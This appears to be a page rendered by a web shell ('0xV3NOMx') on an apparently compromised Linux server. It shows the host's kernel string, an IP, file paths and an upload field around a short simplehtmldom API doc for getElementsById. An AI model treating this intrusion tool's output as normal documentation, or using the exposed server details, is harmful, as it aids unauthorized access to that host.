0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.199.113


Current Path : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlDocument/
Upload File :
Current File : /var/www/website/nublr/Regulations/simplehtmldom/manual/docs/api/HtmlDocument/getElementsById.md

---
title: getElementsById
---

```php
getElementsById ( string $id [, int $idx = null ] ) : object
```

Searches elements by id.

| Parameter | Description
| --------- | -----------
| `id`      | ID of the element to find.
| `idx`     | Returns the element at the specified index if defined.

Returns the element(s) or null if no match was found.